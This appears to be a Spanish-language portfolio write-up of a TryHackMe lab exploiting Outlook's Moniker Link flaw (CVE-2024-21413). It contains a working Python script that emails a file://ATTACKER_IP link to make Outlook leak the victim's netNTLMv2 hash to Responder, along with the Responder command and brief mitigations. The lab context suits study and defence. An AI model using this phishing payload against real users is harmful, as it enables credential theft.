Exploit de correo electrónico Moniker Link-CVE-2024-21413-Module — Documentación

Resumen: Un PoC práctico que demuestra el uso de un Moniker Link en un correo HTML para desencadenar una conexión SMB desde Outlook, permitiendo capturar el hash netNTLMv2 de la víctima mediante Responder. Esto demuestra habilidades prácticas en pruebas de penetración, scripting y análisis de protocolos de red.

Habilidades Clave Demostradas

• Scripting en Python para envío automatizado de correos electrónicos
• Comprensión de los protocolos SMB, NTLMv2, LLMNR, NBT-NS y MDNS
• Configuración y monitoreo de Responder para la captura de hashes
• Solución de problemas de configuración de red/DNS en Linux
• Elaboración de un escenario controlado de seguridad ofensiva en un entorno de laboratorio

Flujo de Trabajo del PoC

1. Configurar el listener SMB: Iniciar Responder en la máquina atacante para monitorear intentos de autenticación SMB.
2. Enviar el correo manipulado: Usar un script de Python para entregar un correo HTML con un Moniker Link (file://) que apunta al recurso compartido SMB del atacante.
3. Captura del hash: Cuando la víctima hace clic en el enlace, Outlook intenta obtener el archivo a través de SMB, y Responder captura el hash netNTLMv2.

Script de Exploit Mínimo

# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124'  # THM SMTP server
password = input('Enter attacker email password: ')

html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'

msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))

with smtplib.SMTP(mailserver, 25) as s:
    s.ehlo()
    s.login(sender, password)
    s.sendmail(sender, [receiver], msg.as_string())
    print('Email delivered')

Consejo: Reemplaza ATTACKER_IP y mailserver antes de ejecutar. En el laboratorio de TryHackMe, la contraseña es attacker.

Ejecutar Responder

responder -I ens5

Reemplaza ens5 con el nombre de tu interfaz de red.

Solución de problemas de /etc/resolv.conf

A veces Responder falla debido a enlaces simbólicos rotos en /etc/resolv.conf. Soluciónalo con:

rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf

Habilidades destacadas: Solución de problemas en Linux, configuración de DNS y adaptación de herramientas a entornos de nube/MV.

Capturas de pantalla del progreso

1. Error / Problema con resolv.conf:

2. Corrección de DNS aplicada:

3. Script de correo en Python:

4. Entrega del exploit:

5. Bandeja de entrada de la víctima:

6. Hash capturado de la víctima:

Herramientas y Comandos Utilizados

• Responder: Listener SMB/LLMNR/NBT-NS/MDNS
• Python3: Ejecución del script PoC
• smtplib / email.mime: Librerías de Python para crear y enviar correos
• Comandos de shell de Linux para solución de problemas de DNS

Habilidades Aprendidas / Destacado para el Portafolio

• Simulación de ataques de red y flujo de trabajo de explotación
• Automatización de un vector de ingeniería social (correo con Moniker Link)
• Captura y análisis de hashes netNTLMv2
• Solución de problemas multidisciplinaria: Python, redes, interacción Windows y Linux
• Documentación y presentación del flujo de trabajo para revisores técnicos

Notas de Mitigación y Defensa

• Deshabilitar la carga automática de contenido externo en Outlook
• Bloquear el tráfico SMB saliente hacia redes no confiables
• Forzar la firma SMB y políticas de autenticación modernas en clientes Windows

Atribución

Adaptado del laboratorio MonikerLink de TryHackMe y del PoC original de CMNatic (GitHub)